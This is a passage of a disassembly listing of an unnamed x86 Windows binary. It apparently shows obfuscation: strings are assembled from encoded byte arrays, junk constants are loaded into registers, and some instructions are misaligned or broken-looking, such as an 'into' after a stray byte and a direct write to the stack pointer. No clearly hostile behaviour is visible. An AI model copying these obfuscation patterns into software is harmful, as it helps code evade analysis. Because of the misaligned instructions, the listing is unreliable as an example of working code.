		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407130	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_407130	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407150	proc near		; CODE XREF: sub_401A6Ej
		mov	eax, ecx
		retn
sub_407150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407170	proc near		; CODE XREF: sub_401FFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011BD
		mov	eax, esi
		pop	esi
		retn	4
sub_407170	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071A0	proc near		; CODE XREF: sub_401E4Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4071A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071D0	proc near		; CODE XREF: sub_401B3Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4071D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071F0	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401BF4
		add	esp, 8
		retn	4
sub_4071F0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407220	proc near		; CODE XREF: sub_4015E6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40108C
		add	esp, 8
		retn	8
sub_407220	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407250	proc near		; CODE XREF: sub_4011BDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_407250	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407270	proc near		; CODE XREF: sub_401B6Dj
		mov	eax, [ecx]
		retn
sub_407270	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407290	proc near		; CODE XREF: sub_401BF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40729A
		xor	eax, eax


loc_40729A:				; CODE XREF: sub_407290+6j
		push	eax
		call	sub_43034A
		add	esp, 4
		retn
sub_407290	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072C0	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011A4
		add	esp, 8
		test	eax, eax
		jz	short locret_4072DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4072DB:				; CODE XREF: sub_4072C0+11j
		retn
sub_4072C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072F0	proc near		; CODE XREF: sub_4011A4j

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_4072F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407310	proc near		; CODE XREF: sub_401A37j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	1633h
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_401726
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	esi, 280163h
		call	sub_401A69
		lea	ecx, [esp+0Ch+arg_4]
		mov	[esp+0Ch+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+0Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
sub_407310	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4073A0	proc near		; CODE XREF: sub_401B9Fj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	1400B1h
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_401726
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_401726
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	edx, 622801h
		call	sub_401A69
		lea	ecx, [esp+0Ch+arg_4]
		mov	byte ptr [esp+0Ch+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+0Ch+arg_1C]
		mov	[esp+0Ch+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+0Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
sub_4073A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_407440:				; CODE XREF: sub_4011EFj
		push	0FFFFFFFFh
		push	391400h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+188h]
		call	sub_4013CF
		lea	ecx, [esp+158h]
		mov	dword ptr [esp+358h], 0
		call	sub_4013CF
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 1
		call	sub_4013CF
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 2
		call	sub_4013CF
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 3
		call	sub_4013CF
		lea	ecx, [esp+98h]
		mov	byte ptr [esp+358h], 4
		call	sub_4013CF
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 5
		call	sub_4013CF
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 6
		call	sub_4013CF
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 7
		call	sub_4013CF
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_4013CF
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_4013CF
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_4013CF
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_4013CF
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_4013CF
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_4013CF
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_4013CF
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_4013CF
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 10h
		call	sub_4013CF
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 11h
		call	sub_4013CF
		mov	byte ptr [esp+358h], 12h
		lea	ecx, [esp+170h]
		call	sub_4013CF
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+358h], 13h
		call	sub_4013CF
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 14h
		call	sub_4013CF
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 15h
		call	sub_4013CF
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 16h
		call	sub_4013CF
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 17h
		call	sub_4013CF
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 18h
		call	sub_4013CF
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 19h
		call	sub_4013CF
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_4013CF
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_4013CF
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_4013CF
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_4013CF
		mov	bl, 1Eh
		push	1C8A00h
		lea	ecx, [esp+18Ch]
		mov	[esp+35Ch], bl
		call	sub_4019A1
		push	0E4500h
		lea	ecx, [esp+15Ch]
		call	sub_4019A1
		push	offset dword_472280
		lea	ecx, [esp+1ECh]
		call	sub_4019A1
		push	639140h
		lea	ecx, [esp+12Ch]
		call	sub_4019A1
		push	71C8A0h
		lea	ecx, [esp+0FCh]
		call	sub_4019A1
		push	38E450h
		lea	ecx, [esp+144h]
		call	sub_4019A1
		push	5C7228h
		lea	ecx, [esp+84h]
		call	sub_4019A1
		push	2E3914h
		lea	ecx, [esp+0E4h]
		call	sub_4019A1
		push	171C8Ah
		lea	ecx, [esp+9Ch]
		call	sub_4019A1
		push	0B8E45h
		lea	ecx, [esp+0CCh]
		call	sub_4019A1
		push	offset word_45C722
		lea	ecx, [esp+204h]
		call	sub_4019A1
		push	22E391h
		lea	ecx, [esp+6Ch]
		call	sub_4019A1
		push	5171C8h
		lea	ecx, [esp+234h]
		call	sub_4019A1
		push	68B8E4h
		lea	ecx, [esp+27Ch]
		call	sub_4019A1
		push	745C72h
		lea	ecx, [esp+24Ch]
		call	sub_4019A1
		push	7A2E39h
		lea	ecx, [esp+1A4h]
		call	sub_4019A1
		push	7D171Ch
		lea	ecx, [esp+0B4h]
		call	sub_4019A1
		push	7E8B8Eh
		lea	ecx, [esp+174h]
		call	sub_4019A1
		push	7F45C7h
		lea	ecx, [esp+114h]
		call	sub_4019A1
		push	7FA2E3h
		lea	ecx, [esp+1BCh]
		call	sub_4019A1
		push	0
		push	4Ch
		push	46h
		lea	eax, [esp+20h]
		push	45h
		push	eax
		call	sub_4018DE
		add	esp, 14h
		push	eax
		lea	ecx, [esp+2ACh]
		mov	byte ptr [esp+35Ch], 1Fh
		call	sub_401EAB
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		push	0
		push	4Ah
		push	49h
		lea	ecx, [esp+20h]
		push	46h
		push	ecx
		call	sub_4018DE
		add	esp, 14h
		push	eax
		lea	ecx, [esp+2C4h]
		mov	byte ptr [esp+35Ch], 20h
		call	sub_401EAB
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		push	0
		push	44h
		push	44h
		lea	edx, [esp+20h]
		push	4Ah
		push	edx
		call	sub_4018DE
		add	esp, 14h
		push	eax
		lea	ecx, [esp+264h]
		mov	byte ptr [esp+35Ch], 21h
		call	sub_401EAB
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		push	0
		push	48h
		push	46h
		push	44h
		push	45h
		lea	eax, [esp+28h]
		push	eax
		call	sub_4018DE
		add	esp, 18h
		push	eax
		lea	ecx, [esp+294h]
		mov	byte ptr [esp+35Ch], 22h
		call	sub_401EAB
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		push	0
		push	5
		push	15h
		push	12h
		lea	ecx, [esp+24h]
		push	14h
		push	ecx
		call	sub_4018DE
		add	esp, 18h
		push	eax
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+35Ch], 23h
		call	sub_401EAB
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	edx, [esp+28h]
		push	6
		push	edx
		call	sub_4018DE
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+35Ch], 24h
		call	sub_401EAB
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		lea	ecx, [esp+98h]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_4017A8
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		mov	byte ptr [esp+3D0h], 25h
		push	eax
		call	sub_4018DE
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 26h
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+3Ch], esp
		push	eax
		call	sub_4017A8
		lea	ecx, [esi+0FECh]
		mov	byte ptr [esp+388h], 27h
		push	ecx
		mov	ecx, esi
		call	sub_401B9F
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		lea	ecx, [esp+80h]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_4017A8
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 28h
		call	sub_4018DE
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 29h
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_4017A8
		lea	eax, [esi+1035h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 2Ah
		call	sub_401B9F
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		lea	ecx, [esp+158h]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_4017A8
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+78h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3C4h], 2Bh
		call	sub_4018DE
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_4017A8
		lea	edx, [esi+0FA3h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Dh
		call	sub_401B9F
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		lea	ecx, [esp+188h]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_4017A8
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+80h]
		push	13h
		push	eax
		mov	byte ptr [esp+3CCh], 2Eh
		call	sub_4018DE
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Fh
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_4017A8
		lea	ecx, [esi+0F5Ah]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
		call	sub_401B9F
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		lea	ecx, [esp+68h]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_4017A8
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+90h]
		push	13h
		push	edx
		mov	byte ptr [esp+3DCh], 31h
		call	sub_4018DE
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_4017A8
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401B9F
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		lea	ecx, [esp+1E8h]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_4017A8
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 34h
		call	sub_4018DE
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_4017A8
		lea	ecx, [esi+0F11h]
		mov	byte ptr [esp+388h], 36h
		push	ecx
		mov	ecx, esi
		call	sub_401B9F
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		lea	ecx, [esp+44h]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_4017A8
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3C8h], 37h
		push	13h
		lea	edx, [esp+88h]
		push	edx
		call	sub_4018DE
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_4017A8
		lea	eax, [esi+107Eh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401B9F
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_4011F9
		lea	ecx, [esp+10h]
		mov	[esp+10h], edi
		push	ecx
		mov	esp, 0EFFA2Eh
		call	sub_40197E
		lea	ecx, [esp+98h]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_4017A8
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 3Ah
		call	sub_4018DE
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_4017A8
		lea	eax, [esi+1234h]
; ---------------------------------------------------------------------------
		db 8Bh

; =============== S U B	R O U T	I N E =======================================



sub_407E8F	proc near		; CODE XREF: sub_4181B0+2Ap
					; DATA XREF: sub_4181B0+16o

arg_38		= dword	ptr  3Ch
arg_3C		= dword	ptr  40h
arg_40		= byte ptr  44h
arg_58		= byte ptr  5Ch
arg_70		= byte ptr  74h
arg_88		= dword	ptr  8Ch
arg_8C		= dword	ptr  90h
arg_90		= dword	ptr  94h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= dword	ptr  380h
arg_384		= dword	ptr  388h

		into
		push	eax
		mov	byte ptr [esp+4+arg_384], 3Ch
		call	sub_401B9F
		lea	ecx, [esp-30h+arg_40]
		mov	byte ptr [esp-30h+arg_384], bl
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_AC]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	eax
		call	sub_4017A8
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+44h+arg_40]
		push	13h
		push	ecx
		mov	byte ptr [esp+4Ch+arg_384], 3Dh
		call	sub_4018DE
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp-18h+arg_384], 3Eh
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+arg_3C], esp
		push	eax
		call	sub_4017A8
		lea	edx, [esi+127Dh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+4+arg_384], 3Fh
		call	sub_401B9F
		lea	ecx, [esp-30h+arg_40]
		mov	byte ptr [esp-30h+arg_384], bl
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_124]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	eax
		call	sub_4017A8
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		mov	byte ptr [esp+28h+arg_384], 40h
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+34h+arg_40]
		push	13h
		push	eax
		call	sub_4018DE
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp-18h+arg_384], 41h
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+arg_3C], esp
		push	eax
		call	sub_4017A8
		lea	ecx, [esi+11EBh]
		mov	byte ptr [esp+arg_384],	42h
		push	ecx
		mov	ecx, esi
		call	sub_401B9F
		lea	ecx, [esp-30h+arg_40]
		mov	byte ptr [esp-30h+arg_384], bl
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_154]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	eax
		call	sub_4017A8
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3Ch+arg_40]
		push	13h
		push	edx
		mov	byte ptr [esp+44h+arg_384], 43h
		call	sub_4018DE
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp-18h+arg_384], 44h
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+arg_3C], esp
		push	eax
		call	sub_4017A8
		lea	eax, [esi+11A2h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+4+arg_384], 45h
		call	sub_401B9F
		lea	ecx, [esp-30h+arg_40]
		mov	byte ptr [esp-30h+arg_384], bl
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_94]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	eax
		call	sub_4017A8
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+4Ch+arg_40]
		push	13h
		push	ecx
		mov	byte ptr [esp+54h+arg_384], 46h
		call	sub_4018DE
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp-18h+arg_384], 47h
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+arg_3C], esp
		push	eax
		call	sub_4017A8
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+4+arg_384], 48h
		call	sub_401B9F
		lea	ecx, [esp-30h+arg_40]
		mov	byte ptr [esp-30h+arg_384], bl
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_16C]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	eax
		call	sub_4017A8
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		mov	byte ptr [esp+2Ch+arg_384], 49h
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+44h+arg_40]
		push	13h
		push	edx
		call	sub_4018DE
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp-18h+arg_384], 4Ah
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+arg_3C], esp
		push	eax
		call	sub_4017A8
		lea	eax, [esi+1159h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+4+arg_384], 4Bh
		call	sub_401B9F
		lea	ecx, [esp-30h+arg_40]
		mov	byte ptr [esp-30h+arg_384], bl
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_70]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	eax
		call	sub_4017A8
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+40h+arg_40]
		push	13h
		push	ecx
		mov	byte ptr [esp+48h+arg_384], 4Ch
		call	sub_4018DE
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp-18h+arg_384], 4Dh
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+arg_3C], esp
		push	eax
		call	sub_4017A8
		lea	edx, [esi+12C6h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+4+arg_384], 4Eh
		call	sub_401B9F
		mov	byte ptr [esp-30h+arg_384], bl
		lea	ecx, [esp-30h+arg_40]
		call	sub_4011F9
		lea	eax, [esp-30h+arg_3C]
		mov	ecx, offset dword_47FFE8
		push	eax
		mov	[esp-2Ch+arg_3C], edi
		call	sub_40197E
		push	2BFFF4h
		push	55FFFAh
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp-30h+arg_1FC]
		call	sub_4013CF
		lea	ecx, [esp-30h+arg_244]
		mov	byte ptr [esp-30h+arg_384], 4Fh
		call	sub_4013CF
		push	6AFFFDh
		push	757FFEh
		mov	byte ptr [esp-28h+arg_384], 50h
		call	sub_402018
		add	esp, 8
		lea	ecx, [esp-30h+arg_1FC]
		push	eax
		push	3ABFFFh
		push	ecx
		call	sub_40102D
		push	1D5FFFh
		push	0EAFFFh
		call	sub_402018
		add	esp, 14h
		lea	edx, [esp-30h+arg_244]
		push	eax
		push	757FFh
